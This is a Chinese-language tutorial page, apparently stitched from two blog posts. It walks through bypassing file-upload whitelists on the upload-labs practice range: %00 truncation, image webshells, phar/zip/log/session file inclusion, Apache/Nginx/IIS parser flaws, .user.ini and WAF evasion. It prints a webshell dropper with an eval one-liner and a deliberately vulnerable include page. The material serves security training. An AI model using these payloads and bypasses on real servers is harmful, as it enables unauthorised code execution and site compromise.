文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行

Posted 白帽Chen_D

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行相关的知识,希望对你有一定的参考价值。

一、白名单绕过

相对于前面的黑名单绕过,白名单更加难以绕过,使用白名单验证相对比较安全,但如果存在可控参数目录,也存在被绕过的风险

目录可控%00截断绕过上传

upload-lab pass11 源码分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit']))
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr))
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path))
            $is_upload = true;
        
        else
            $msg = '上传失败!';
        
    
    else
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    

deny_arr变成ext_arr,白名单,下面判断后缀名是否在白名单中,代码相较于黑名单也简单不少

但是这里使用了$_GET['save_path']获取客户端的值,这个值可以被客户端修改,从而遗留安全隐患

截断文件名

%00截断需要gpc关闭 php版本要小于5.3.4版本

我这里版本是5.4.45先选择一个低版本

 关闭gpc

 

这种攻击手法其实与sql注入中的注释差不多,%00的意思是忽略后面的内容进行上传,如果我们上传test.png再给服务器传递的save_path改为/upload/test.php%00那么最终上传到服务器的内容为test.php,操作一下,看起来就直观了

尝试上传

看到这里save_path其实就是本地的upload文件夹的路径,在后端中与检测后的文件名拼接,将文件上传,我们通过截断,忽略检测后的内容,直接上传到我们写入的文件中

因为已知是get型,所以直接写%00就ok,get型需要进行编码

 清空前面上传的内容

放包

上传成功

POST型截断

pass-12

只是将GET改成POST了

尝试上传

一样的套路,上传test.php抓包

直接在抓包里进行解码再放包就ok了

二、文件头检测绕过

有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件

常见的文件头

PNG:89504E47

JPEG:FFD8FF

GIF:47494638

....

对隐写术有些了解的同学应该对这个很熟悉啦

pass-13

代码分析

nction getReailFileType($filename)
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode)      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
            
        return $fileType;

这时提取文件头的函数

对文件进行解包

 

转成整型,然后白名单判断

下面就是获取上传文件,调用这个函数,返回如果不是unknown就上传,代码就不展示了

图片一句话木马

为了绕过上述的检测,我们可以制作图片马,即将图片信息与木马组合到一起上传

制作

准备一张正常的图片,与恶意脚本php,放到一个目录下

 

 目录下运行CMD,执行

copy 1.png/b+test.php test.png

 

生成了一个新的png,我们直接给它上传到服务器

 

右键图片打开链接(获取图片地址),复制url

upload/3520221023175627.png

 这里需要利用文件包含漏洞,才能执行我们的图片马

我看大佬们这一关直接有个提示,有个链接,就是存在文件包含漏洞网页,但我这个靶场可能抽风了,我找了半天也没找到,所以我就自己写了一个,如果你们也没有可以直接再upload-labs文件夹下新建一个include.php

<?php
header("Content-Type:text/html;charset=utf-8");
$file=$_GET['file'];
if(isset($file))

	include $file;

else
	show_source(__FILE__);

?>

复制保存就ok了

下面进入文件包含漏洞页面

将图片地址给传进去

 看到一堆乱码,这就是前面图片的内容,往下翻,就可以看到phpinfo()的结果啦

上传成功!

三、图片检测函数绕过

pass-14

 getimagesize是获取图片的大小,如果头文件不是图片会报错,直接可以利用图片马

上传

一样的上传我们做好的图片马,通过包含漏洞,进行执行

 

一道面试题引发的思考第一篇-文件上传白名单绕过

文件上传白名单绕过

这种问题简直是对 CTFer 的重大利好,跟进,举例一些白名单绕过的方法(掺杂几个黑名单绕过)

文章目录


演示环境

使用 upload-labs 靶场做演示

apache + php,php 版本为 5.2.17

1.00截断

00 0a截断

截断条件

  • PHP 版本 < 5.3.4
  • magic_quotes_gpc关闭

原理:php 的一些函数的底层是 C 语言,而 move_uploaded_file 就是其中之一,遇到 0x00 会截断,0x 表示16进制,URL中%00解码成16进制就是 0x00

可以使用下图的插件判断 PHP 版本

Get00截断

upload-labs pass 12

选择 shell 上传,因为存储文件名为 save_path 拼接上 filenname,因为 save_path 使用 get 方式传输可以使用 00 截断

上传成功后返回上传地址,其实并没有这个文件

因为 00 截断保存文件实为 shell.php

直接访问 shell.php 即可

Post00截断

upload-labs pass 13

因为 post 请求数据包不能自动 url 解码,所以 post 截断需要使用 burp 抓包修改

生成 shell aa.php

2.文件包含

文件包含图片马

如果一个网站存在 PHP 文件包含漏洞,要知道 PHP include 函数的特点就是会把一切包含文件当作 PHP 代码执行,此时就可以上传一张图片利用文件包含漏洞 getshell,图片马的二次渲染绕过也属于此范畴,关于二次渲染可以看之前发过的一篇文章,链接

upload-labs pass 14

先上传一个图片马

利用文件包含漏洞包含即可

Phar 协议文件包含

之前总结过 phar 反序列化,链接,其中介绍了 phar 协议的文件包含

phar协议要求:

  • php大于5.3.0
  • 需要将php.ini的参数phar.readonly设置为off

因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行

很多网站都采用单一入口模式来作为网站文件加载模式

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>

此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件

如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞

首先写一个 test.php,写入要执行的命令

<?php phpinfo();?>

将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件

将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问

?r=phar://pic/test.jpg/test

不仅可以使用phar协议,zip协议也是可以的

zip文件包含

和phar用法不同效果一致

include($file.'.jpg');
# \\x00的截断在php<5.3.4you'xi

将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)

/?r=zip://pic/test4.jpg%23test

pic是图片保存目录

这个例子只是利用了phar伪协议解析文件,并没有利用反序列化

文件包含利用方式比较多,不仅可以上传文件包含,也可以结合日志、session文件 getshell,作为扩展内容补充

(扩展)文件包含日志

如果目标主机可以被访问到,且日志中记录了请求信息,就可以通过包含日志文件进行getshell

日志文件路径: ?file=/var/log/nginx/access.log

(扩展)文件包含session

利用session对话进行文件包含利用参考链接

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

利用竞争,在session文件内容清空前进行包含利用

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。这个选项 docker 环境中默认开启

但session还有一个默认选项,session.use_strict_mode 默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里

4.解析漏洞

文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析,这里把所有的解析漏洞列出来,不仅包括白名单绕过

Apache

多后缀解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断

比如上传php.aa.a文件绕过验证且服务器依然会将其解析为php

Apache配置问题

apache2.conf/httpd-conf是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用

将Apache的/etc/apache2/sites-available/defaultAllowOverride None改为AllowOverride All

AllowOverride All

开启rewrite_mod

a2enmod rewrite

这样.htaccess文件就会生效

  1. Apache的 /etc/apache2/apache2.conf里有这样的配置

    <FilesMatch "aaa.jpg">
      SetHandler application/x-httpd-php
    </FilesMatch>
    

    这时只要文件名是aaa.jpg,会以php 来执行

  2. 如果在Apache的 conf 里有这样一行配置

    AddHandler php5-script .php
    

    这时只要文件名里包含.php,即使文件名是shell.php.jpg也会以 php 来执行

  3. 如果在 Apache 的 conf 里有这样一行配置

    AddType application/x-httpd-php .jpg
    

    即使扩展名是.jpg,也会以php来执行

罕见后缀

Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的

后缀包含换行符\\x0A(CVE-2017-15715)

影响版本

Apache 2.4.0-2.4.29

上传一个后缀末尾包含换行符的文件,来绕过 FilesMatch。绕过 FilesMatch 不一定能被 PHP 解析,这个漏洞可以用来绕过文件上传黑名单限制

1.php\\x0a => 1.php

apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在 apache 换行解析漏洞,在解析php时xxx.php\\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关

Nginx

Nginx PHP CGI解析漏洞

由于Nginx的特性,只要URL中路径名以.php结尾,不管该文件是否存在,直接交给php处理

影响版本:

漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞

注意:phpstudy <= 8.1.0.7 phpstudy 存在 nginx php cgi 解析漏洞

漏洞形式

/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\\0.php

漏洞原理

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI

但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?

这就涉及到fix_pathinfo选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

需要上传后缀文件,然后访问时加上 /.php,这样文章就会当作 php 执行

上传一个名字为 shell.jpg,文件内容如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>'); ?>

然后访问shell.jpg/.php,在当前目录下就会生成一句话木马 shell.php

00截断

影响版本:

Nginx 0.5.x

Nginx 0.6.x

Nginx 0.7-0.7.65

Nginx 0.8-0.8.37

IIS

IIS 5.0 和 6.0 解析漏洞

使用 iis5.x-6.x 版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为 asp;该解析漏洞也只能解析 asp 文件,而不能解析aspx 文件

  1. 目录解析(6.0)

    xx.asp/xx.jpg

    服务器默认会把.asp.asa目录下的文件都解析成 asp 文件

  2. 文件解析(6.0)

    xx.asp;.jpg

    服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件

  3. 解析文件类型(默认解析后缀)

    IIS6.0 默认的可执行文件除了asp还包含这三种,可用于绕过黑名单限制

    /xx.asa
    /xx.cer
    /xx.cdx
    

IIS 7.0/7.5 CGI解析漏洞

与 Nginx php cgi 解析漏洞类似,都是由于php配置文件中,开启了cgi.fix_pathinfo

漏洞形式

/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\\0.php

.user.ini

php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门

为了防止跨站,可将 .user.ini放在网站根目录下,内容为:

open_basedir=/项目路径/:/tmp/:/proc/

上传图片马,然后上传 .user.ini 配置文件,配置文件内容如下,就相当于文件包含

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

5.系统文件名规则

(黑名单)NTFS隐写

Windows 下 NTFS 文件系统的一个特性,即 NTFS 文件系统的存储数据流的一个属性::$DATA,当访问a.php::$DATA就会访问 a.php,这个特点可以用于黑名单绕过

超长文件名

截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去,

6.参数污染

双写filename 或者直接多个 Content-Disposition,绕过 waf 的常见手段

7.脏字符绕过

适用于硬件 WAF,软件 WAF 一般拦截都有一个特征页面,比如安全狗的那条狗,D盾的盾,最不好区分的就是云 waf 与硬件 waf,这绝大部分需要依靠自己经验判别。

硬件WAF会发生脏字符绕过主要原因为数据包过大消耗内存,为了避免影响服务而放行,当然这是有概率的哈,如何快速提高概率呢?intruder带来无限可能,唯一缺陷,电脑一跑容易死机

8.分块传输/HTTP请求走私

分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分绕过 WAF 限制,绕过 WAF 限制的常见手段,适用于多种攻击情况

可以阅读以下文章

Burp 分块传输插件项目地址:https://github.com/c0ny1/chunked-coding-converter

9.Tips

如果可以上传svg,则必然存在xss,因为 svg 图片内容为 xml 标签

参考链接

  • https://www.anquanke.com/post/id/219107
  • https://www.freebuf.com/articles/web/259377.html

以上是关于文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行的主要内容,如果未能解决你的问题,请参考以下文章

一道面试题引发的思考第一篇-文件上传白名单绕过

文件上传 [upload-labs-master][Pass11-19]

WEB安全之文件上传--白名单绕过%00截断

upload-labs(12-21)通关教程

upload-labs(12-21)通关教程

文件上传-文件名长度绕过白名单限制